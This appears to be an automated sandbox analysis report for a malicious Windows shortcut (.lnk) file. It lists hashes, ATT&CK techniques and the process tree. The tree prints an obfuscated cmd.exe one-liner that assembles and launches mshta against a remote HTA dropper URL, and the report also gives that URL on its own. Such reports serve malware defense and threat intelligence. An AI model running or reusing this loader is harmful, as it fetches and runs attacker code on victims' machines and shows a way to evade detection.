112834f3c7f8d97af8049869b613f548deb3a0b2146625dcb14ec193c25442a9

Analysis

max time kernel
58s
max time network
59s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/08/2026, 19:17

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General

Target
DOC-MEXWKB.lnk
Size 2KB
Sample260817-xzemmaxflc
SHA256 112834f3c7f8d97af8049869b613f548deb3a0b2146625dcb14ec193c25442a9
MD5 c7d25faadbbbb0c493ce15a2d7d1a9bf
SHA1 52c5e45043ca1ea4effc1eeba83fc601b94b400f
SHA512 1de0311997b260ad2cbbae41bfb311eb94ccc5f9a61731d03190f58c27769a25107fa014e9ead33b80ccb0f651c1e83052ed25b6d577260939b99dab68e47583
TLSH
T10F41E4947AED41D4F3BB8E72EDBA774189BB7C628D20C5DD0890810D1872B01EA77B27
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2956	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2956 wrote to memory of 2800	2956	cmd.exe	89
PID 2800 wrote to memory of 4352	2800	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-MEXWKB.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2956
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d/V:on/c"set uih=infbhwsqsinf&set jl=vmstarye3&&set uRPO=7ltj1r&set we=3hzm2x7&&set mjD=pshe&&set ZMcRA=lpctaa3s&set wjkb=tmpqgpiszjwswldmwttatmp&set NeltD=cachetqeheuyrekmmcache&set OTMjc=inffqdwcbeqntllmtvfinf&set ZkUA=logwjjekzdlzanlog&set ruF=tmpksjjgqztmp&set Op=winpkfesullxqawin&set rbZkA=datdulkrhdfknasgtiycttdat&set PH=winoekjjvajzcwin&&set NwF=ht@t@p@s:@//@k-docum@e@n@ta@[email protected]/h@/@estagio1.p@hp?r@=@3@F@1477F153@9@8@D@1&&start /b !we:~3,1!!mjD:~1,2!!ZMcRA:~3,2! !NwF:@=!"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2800
- - C:\Windows\System32\mshta.exe
    mshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    PID:4352

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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